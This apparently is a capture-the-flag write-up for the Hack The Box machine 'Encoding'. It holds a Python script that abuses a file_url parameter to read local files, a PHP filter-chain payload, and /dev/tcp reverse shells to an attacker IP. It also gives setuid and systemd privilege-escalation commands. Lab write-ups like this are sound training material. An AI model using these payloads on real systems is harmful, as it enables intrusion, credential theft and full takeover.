HTB — Encoding

ThatGuyFromIT
6 min readNov 28, 2023

--

Author: ThatGuyFromIT

NMAP ALL THE PORTS

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HaxTables
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

While i was enumerating the first site i have found another subdomain in the description of the api page:

api.haxtables.htb

i decided to fuzz for others subdomains:

sudo ffuf -u http://10.10.11.198 -H "Host: FUZZ.haxtables.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1999
        /'___\  /'___\           /'___\       
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.198
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.haxtables.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1999
________________________________________________
api [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
image [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 42ms]

so i added them to the /etc/hosts file and i continue my enumeration. the subdomains image is in 403 i fuzzed it for hidden files but i did not found nothing i also tried for common 403 bypass but still nothing so i continued my enumeration in the api subdomain. there is an interesting part where we can specify the url where we want to get the content from we can see it in the last part of the api “documentation” page:

import requests
    json_data = {
'action': 'str2hex',
'file_url' : 'http://example.com/data.txt'
} response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

so i tried to get an Local File Inclusion with it, this is mu burp suite request:

POST /v3/tools/string/index.php HTTP/1.1
Host: api.haxtables.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=UTF-8
Content-Length: 52
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string
{"action":"str2hex","file_url":"file:///etc/passwd"}

and it worked so i decided to code my own exploit for it:

import requests
import json
base_url = "http://api.haxtables.htb/v3/tools/string/index.php"headers = {
"Content-Type": "application/json"
}
proxy = {"http": "http://127.0.0.1:8080"}while True:
try:
payload = input("Insert the payload you want to execute: ")
data_to_send = {
"action": "str2hex",
"file_url": payload,
}
stage = requests.post(base_url, headers=headers, json=data_to_send)#, proxies=proxy)
json_stuff = json.loads(stage.text)
print(bytes.fromhex(json_stuff["data"]).decode('utf-8') + "\n")
except KeyboardInterrupt:
print("\nBye..")
break

and it works:

┬─[kali@kali:~/C/n/Encoding]─[02:46:39 PM]─[G:master]
╰─>$ python3 exploit_lfi.py
Insert the payload you want to execute: file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:120:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Insert the payload you want to execute:

here is where i decided to enumerate the image subdomain with the LFI:

Insert the payload you want to execute: file:///var/www/image/index.php
<?php
include_once 'utils.php';include 'includes/coming_soon.html';?>Insert the payload you want to execute:

it import an utils.php file let’s leak it file:///var/www/image/utils.php

<?php 
include_once 'utils.php';include 'includes/coming_soon.html';?>Insert the payload you want to execute: file:///var/www/image/utils.php
<?php
// Global functionsfunction jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);
exit;
}
function get_url_content($url)
{
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
echo jsonify(["message" => "Unacceptable URL"]);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}function git_status()
{
$status = shell_exec('cd /var/www/image && /usr/bin/git status');
return $status;
}
function git_log($file)
{
$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
return $log;
}
function git_commit()
{
$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
return $commit;
}
?>

some iteresting things:

shell_exec('cd /var/www/image && /ust/bin/git log --oneline
shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');

there must be an .git directory somewhere in /var/www/image but first i would leak /var/www/image/scripts/git-commit.sh

#!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git  --work-tree=/var/www/image ls-files  -o --exclude-standard)if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi

yea there is an .git directory in /var/www/image/.git now i will code an sort of proxy for redirect my git-dumper requests to the LFI.

import requests
import json
from flask import Flask
app = Flask(__name__)
@app.route('/<path:filepath>')
def index(filepath):
json_data = {
'action': 'str2hex',
'file_url' : "file://" + "/var/www/image/" + filepath
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
d = json.loads(response.text)
res = bytes.fromhex(d["data"])
return res, {"Content-Type":"text/plain"}
if __name__ == "__main__":
app.run()

the we need to run git-dumper:

git_dumper.py http://localhost:5000/ image

SHELL AS WWW-DATA

in the folder actions we can find an interesting file called action_handler.php:

<?php
include_once 'utils.php';if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>

as we can see is another file inclusion but we can elevate it to rce. first let’s try to contact the subdomain image with the LFI we found. there is an filter with don’t allow us to contact localhost in /var/www/api/utils.php:

function get_url_content($url){
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
jsonify(["message" => "Unacceptable URL"]);
}
    $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}

this php code parse take an url and parse it to php for check if the ip address of the domain is 127.0.0.1. if we put http://google.com it will return google.com but if we pass only google.com without http:// it will return nothing but curl doesen't care if we don't pass http:// so we can just put image.haxtables.htb/actions/action_handler.php?page=/etc/passwd and we can contact it. the the script action_handler.php use the function include() for get the content of a page, phpfilter is enabled we can verify it by sanding this request php://filter/convert.base64-encode/resource=/etc/passwd we will see the output in base64 of /etc/passwd, there is an method to gain RCE with this tool: https://github.com/synacktiv/php_filter_chain_generator we have to clone it in our machine and run this command:

python3 php_filter_chain_generator.py --chain '<?php system("bash -c \'bash -i >& /dev/tcp/10.10.14.13/1234 0>&1\'"); ?>  '

setup an listener and then send the long output in this way through the LFI we found:

image.haxtables.htb/actions/action_handler.php?page=<LONG PAYLOAD>

i did it with burp suite because it too easy to paste the payload in a correct way, after the execution we will se the reverse shell pop up. we can understand how it works in this video: https://www.youtube.com/watch?v=f0m-3P7_bsU

SHELL AS SVC

with sudo -l we can see that we can run the git-commit script as svc

Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.

we can play with the .git folder in /var/www/images because we have the permissions (drwxrwxr-x+). i have found this guide that allows use to exploit .git folder https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-git-privilege-escalation/

here there are the commands for escalate our privilege to svc in this box

echo "cp /bin/bash /tmp/ThatGuyFromIT;chmod +s /tmp/ThatGuyFromIT" > /tmp/exploit                  
chmod +x /tmp/exploit                               git init                                            echo '*.php filter=indent' > .git/info/attributes   echo '*.php filter=indent' > .git/info/attributes   git config filter.indent.clean /tmp/exploit         sudo -u svc /var/www/image/scripts/git-commit.sh

after we run those commands we can execute /tmp/ThatGuyFromIT -p and we will be svc. i have upgraded mu shell to an ssh shell because i prefer ssh .

SHELL AS ROOT

if we run sudo -l we can see that we can run systemctl restart in every service we want to:

Matching Defaults entries for svc on encoding:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *

so i gonna search for an service that we can write.

svc@encoding:/etc/systemd$ pwd
/etc/systemd
svc@encoding:/etc/systemd$ find . -writable
./user/session-migration.service
./system
find: ‘./system’: Permission denied
svc@encoding:/etc/systemd$

we can write in /etc/systemd/system folder so i gonna make an malicious service:

[Unit]
ThatGuyFromIT service for privilege escalation <3
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.13/1234 0>&1'
WantedBy=multi-user.target

we have to setup an listener in the port 1234 and then run those commands

svc@encoding:~$ nano /etc/systemd/system/privesc.service
svc@encoding:~$ sudo systemctl restart privesc.service
svc@encoding:~$

we will get an hit in our listener:

┬─[kali@kali:~/C/n/Encoding]─[05:56:40 PM]─[G:master]
╰─>$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.198] 52656
bash: cannot set terminal process group (21018): Inappropriate ioctl for device
bash: no job control in this shell
root@encoding:/# whoami
whoami
root
root@encoding:/#

we have compromised this machine also.

--

--